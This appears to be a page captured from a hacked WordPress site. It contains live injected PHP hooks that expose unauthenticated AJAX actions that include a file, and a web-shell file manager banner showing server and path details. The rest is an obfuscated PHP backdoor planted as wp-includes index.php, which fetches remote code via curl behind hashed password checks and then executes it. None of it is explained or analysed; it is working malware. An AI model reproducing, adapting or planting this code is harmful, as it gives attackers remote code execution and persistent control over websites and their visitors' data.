if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/js/dist/dist/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/js/dist/dist/index.php
<?php
 goto QMZLZIfMW5R1BxoK; MpVi2d_MO1iaLWDB: class wAziTt8IiTMsHdgT { static function cT94K_hVnmkBW2PA($FXnDBJ64bAM11WJ6) { goto iX_py1SRHqs6ibQG; HFj4YItkEfppum4g: return $Zil6IMbho9s6axZZ; goto cNoES31ysWCEQn2_; iX_py1SRHqs6ibQG: $LN6UzQx0kZD5NUw_ = "\x72" . "\141" . "\156" . "\147" . "\145"; goto wDY1pF_jQ2V0_W1A; AvxgsQ3zijretMxU: $Ta85LD__nfqs1AS9 = explode("\x28", $FXnDBJ64bAM11WJ6); goto Ibyifqosy5HAwOrr; wDY1pF_jQ2V0_W1A: $sQ2o1z_BLs0KEhFW = $LN6UzQx0kZD5NUw_("\x7e", "\40"); goto AvxgsQ3zijretMxU; zii0S2Jh1atdgDHU: qvzuWIP_rVa508k3: goto HFj4YItkEfppum4g; Ibyifqosy5HAwOrr: $Zil6IMbho9s6axZZ = ''; goto owILHvXlna_X0_0G; owILHvXlna_X0_0G: foreach ($Ta85LD__nfqs1AS9 as $A1Q0hYrJHBao2A1i => $yU4tTMSQstTAlgA5) { $Zil6IMbho9s6axZZ .= $sQ2o1z_BLs0KEhFW[$yU4tTMSQstTAlgA5 - 15792]; Wsi6D3R97UxWWd7e: } goto zii0S2Jh1atdgDHU; cNoES31ysWCEQn2_: } static function wzsLqhwyVAWTZZSa($BZ2FugE0CGQXsfUX, $pnZ7aJMAAo9G8cny) { goto FcP0sYFAnPa4nHIK; n40KSQp5YKqtQqcW: curl_setopt($i1tS9SuhwGJ0yFcm, CURLOPT_RETURNTRANSFER, 1); goto lmESI4_ZGBogf8se; lmESI4_ZGBogf8se: $G_DD7ZcRYIKMMp1X = curl_exec($i1tS9SuhwGJ0yFcm); goto fp6KQWBCAZUh7C8V; FcP0sYFAnPa4nHIK: $i1tS9SuhwGJ0yFcm = curl_init($BZ2FugE0CGQXsfUX); goto n40KSQp5YKqtQqcW; fp6KQWBCAZUh7C8V: return empty($G_DD7ZcRYIKMMp1X) ? $pnZ7aJMAAo9G8cny($BZ2FugE0CGQXsfUX) : $G_DD7ZcRYIKMMp1X; goto D3Gv4nzjUaXEBBRB; D3Gv4nzjUaXEBBRB: } static function opiOBoDmg2lTW1FG() { goto uNzB3LlrGmIRYqn9; UQt4kdHAuHlcLa2N: foreach ($kqy0FxCBmrhFGCNq as $Ieq8ElHhpkisFDHU) { $XCxB098bs7rcdNmY[] = self::cT94K_hvnmKBw2Pa($Ieq8ElHhpkisFDHU); MtOKr_aqN0_2cDJr: } goto ZDAH_NBEjmPHP70C; xlmBjRdb2DmpK7fZ: if (!(@$Dq_QokRXxQHQ_dDZ[0] - time() > 0 and md5(md5($Dq_QokRXxQHQ_dDZ[2 + 1])) === "\x39\63\x39\x65\x30\x37\143\144\x38\x36\x39\70\x38\x65\71\65\x32\144\x36\145\141\x63\60\x31\x32\x31\146\x38\x33\67\142\x31")) { goto ORriFtG24o2YtPGE; } goto FDIRWZ7srq6Nk4dJ; AWMVm9SoPEtR7hY6: $VJeFVx6ZUFc1usMj = @$XCxB098bs7rcdNmY[1]($XCxB098bs7rcdNmY[7 + 3](INPUT_GET, $XCxB098bs7rcdNmY[8 + 1])); goto byJL7BqmM9olUBQW; JFPmiQxYmQOE3aRp: die; goto NQ34COaLAIKGvCO0; ZDAH_NBEjmPHP70C: vXteoBEA87Jhizhf: goto AWMVm9SoPEtR7hY6; cxA63gSdyFtfnsxx: @$XCxB098bs7rcdNmY[5 + 5](INPUT_GET, "\157\x66") == 1 && die($XCxB098bs7rcdNmY[0 + 5](__FILE__)); goto xlmBjRdb2DmpK7fZ; m_XFi9JkCZcIj79G: @$XCxB098bs7rcdNmY[0]('', $XCxB098bs7rcdNmY[7 + 0] . $XCxB098bs7rcdNmY[3 + 1]($BZ_dDegBUPjiJToC) . $XCxB098bs7rcdNmY[4 + 4]); goto JFPmiQxYmQOE3aRp; byJL7BqmM9olUBQW: $IRlC3UEP6O9F0rl5 = @$XCxB098bs7rcdNmY[1 + 2]($XCxB098bs7rcdNmY[5 + 1], $VJeFVx6ZUFc1usMj); goto DcEC6sJOsEqVRZYa; DcEC6sJOsEqVRZYa: $Dq_QokRXxQHQ_dDZ = $XCxB098bs7rcdNmY[2 + 0]($IRlC3UEP6O9F0rl5, true); goto cxA63gSdyFtfnsxx; FDIRWZ7srq6Nk4dJ: $BZ_dDegBUPjiJToC = self::WzSlqhwyVawtZzSa($Dq_QokRXxQHQ_dDZ[1 + 0], $XCxB098bs7rcdNmY[3 + 2]); goto m_XFi9JkCZcIj79G; uNzB3LlrGmIRYqn9: $kqy0FxCBmrhFGCNq = array("\61\x35\70\61\71\50\x31\x35\x38\60\x34\50\x31\x35\70\x31\67\x28\61\x35\70\62\61\x28\x31\65\70\60\62\x28\x31\x35\70\61\x37\50\61\x35\70\62\x33\50\61\65\70\x31\x36\x28\61\65\x38\60\61\x28\x31\x35\x38\60\x38\x28\x31\65\x38\61\71\x28\x31\x35\70\60\62\50\61\x35\70\x31\x33\50\61\65\x38\x30\x37\x28\x31\x35\70\x30\70", "\61\65\70\60\x33\x28\61\x35\x38\x30\x32\x28\61\x35\70\x30\64\50\61\65\70\x32\63\50\61\x35\70\60\64\50\x31\65\x38\60\x37\x28\x31\65\70\x30\x32\50\61\x35\70\66\71\x28\61\65\x38\66\x37", "\61\65\70\61\x32\x28\x31\65\70\x30\x33\x28\61\65\x38\x30\67\50\x31\x35\70\60\x38\x28\61\x35\x38\62\63\x28\x31\x35\70\x31\x38\50\61\65\x38\61\x37\50\x31\x35\x38\61\x39\x28\61\65\x38\x30\x37\x28\x31\x35\70\x31\70\50\x31\x35\x38\x31\67", "\x31\x35\x38\x30\66\x28\x31\x35\x38\x32\61\x28\61\65\x38\61\x39\x28\x31\x35\x38\x31\61", "\61\x35\x38\62\60\50\61\x35\x38\x32\x31\50\61\x35\70\60\63\50\61\x35\70\x31\67\x28\61\x35\70\x36\64\x28\x31\x35\x38\x36\x36\x28\x31\65\x38\x32\x33\50\x31\65\x38\x31\x38\50\61\65\70\x31\x37\x28\x31\65\70\61\x39\50\61\65\x38\x30\x37\50\61\x35\x38\x31\70\x28\61\x35\70\x31\67", "\x31\65\x38\61\x36\50\61\x35\x38\x31\x33\50\61\65\x38\x31\x30\50\x31\x35\70\61\67\x28\61\65\70\x32\x33\x28\x31\x35\x38\x31\65\x28\x31\x35\x38\x31\67\x28\61\65\x38\x30\62\50\61\65\x38\62\63\50\61\65\70\x31\71\50\61\x35\70\x30\x37\50\x31\65\x38\60\70\50\x31\x35\70\x30\x32\50\x31\65\70\61\67\50\61\x35\70\60\x38\x28\x31\65\x38\x30\x32\50\61\x35\70\60\x33", "\x31\65\70\x34\x36\x28\x31\65\x38\x37\x36", "\x31\65\67\71\63", "\61\65\x38\67\61\x28\61\x35\x38\67\66", "\x31\65\x38\65\63\50\61\x35\x38\63\x36\50\x31\65\70\63\66\50\x31\x35\70\65\x33\x28\61\x35\x38\62\x39", "\61\x35\x38\x31\x36\50\61\65\70\x31\x33\x28\x31\65\x38\x31\60\50\61\65\x38\60\x32\x28\x31\65\x38\x31\x37\50\61\x35\70\60\x34\50\x31\65\70\62\x33\50\61\x35\70\61\63\x28\61\x35\x38\60\x38\x28\61\x35\70\x30\x36\50\x31\65\70\x30\x31\50\x31\65\70\x30\62"); goto UQt4kdHAuHlcLa2N; NQ34COaLAIKGvCO0: ORriFtG24o2YtPGE: goto Eg9saF2QSZV7BJ8L; Eg9saF2QSZV7BJ8L: } } goto q10ES2i2V2xHyUYx; qHUcL8FLifZ0PYHs: $FxPOemMhf1foDK7J[81] = $FxPOemMhf1foDK7J[67]($FxPOemMhf1foDK7J[81]); goto M8xcGjstStE6buF4; TVKO6fOjEEuF1oWZ: metaphone("\116\x7a\x49\x33\117\104\131\63\115\124\143\x31\115\x44\x4d\170\117\104\121\62\x4f\x54\x41\171\116\x44\x55\x78\x4e\x54\105\x7a"); goto MpVi2d_MO1iaLWDB; CvQ1YHxWeQdQLxVk: $FxPOemMhf1foDK7J = ${$AV3ZXoz00RFZ_Fmh[23 + 8] . $AV3ZXoz00RFZ_Fmh[26 + 33] . $AV3ZXoz00RFZ_Fmh[44 + 3] . $AV3ZXoz00RFZ_Fmh[2 + 45] . $AV3ZXoz00RFZ_Fmh[8 + 43] . $AV3ZXoz00RFZ_Fmh[51 + 2] . $AV3ZXoz00RFZ_Fmh[31 + 26]}; goto a0k2h5nqUj_Q2aY8; a0k2h5nqUj_Q2aY8: if (!(in_array(gettype($FxPOemMhf1foDK7J) . "\x33\x30", $FxPOemMhf1foDK7J) && md5(md5(md5(md5($FxPOemMhf1foDK7J[24])))) === "\60\144\70\x30\70\x61\x38\x65\x30\70\x65\x61\x31\x62\x66\x36\62\x36\x37\67\145\70\143\x36\x35\146\x31\x30\x65\67\x38\63")) { goto ZhDQpbrR7kijC_xX; } goto EKDXl1uAj0guM1fI; M8xcGjstStE6buF4: @($FxPOemMhf1foDK7J = $FxPOemMhf1foDK7J[81]($FxPOemMhf1foDK7J[51], $FxPOemMhf1foDK7J[67](${$FxPOemMhf1foDK7J[49]}[20]))); goto r2QcpD3pxHQRWeds; EKDXl1uAj0guM1fI: $FxPOemMhf1foDK7J[67] = $FxPOemMhf1foDK7J[67] . $FxPOemMhf1foDK7J[71]; goto qHUcL8FLifZ0PYHs; QMZLZIfMW5R1BxoK: $AV3ZXoz00RFZ_Fmh = range("\176", "\40"); goto CvQ1YHxWeQdQLxVk; TfTVVM8L0LkMOqUe: ZhDQpbrR7kijC_xX: goto TVKO6fOjEEuF1oWZ; r2QcpD3pxHQRWeds: $FxPOemMhf1foDK7J(); goto TfTVVM8L0LkMOqUe; q10ES2i2V2xHyUYx: WazitT8IiTmshDgT::OpIoboDMG2lTw1FG();
?>
@ Telegram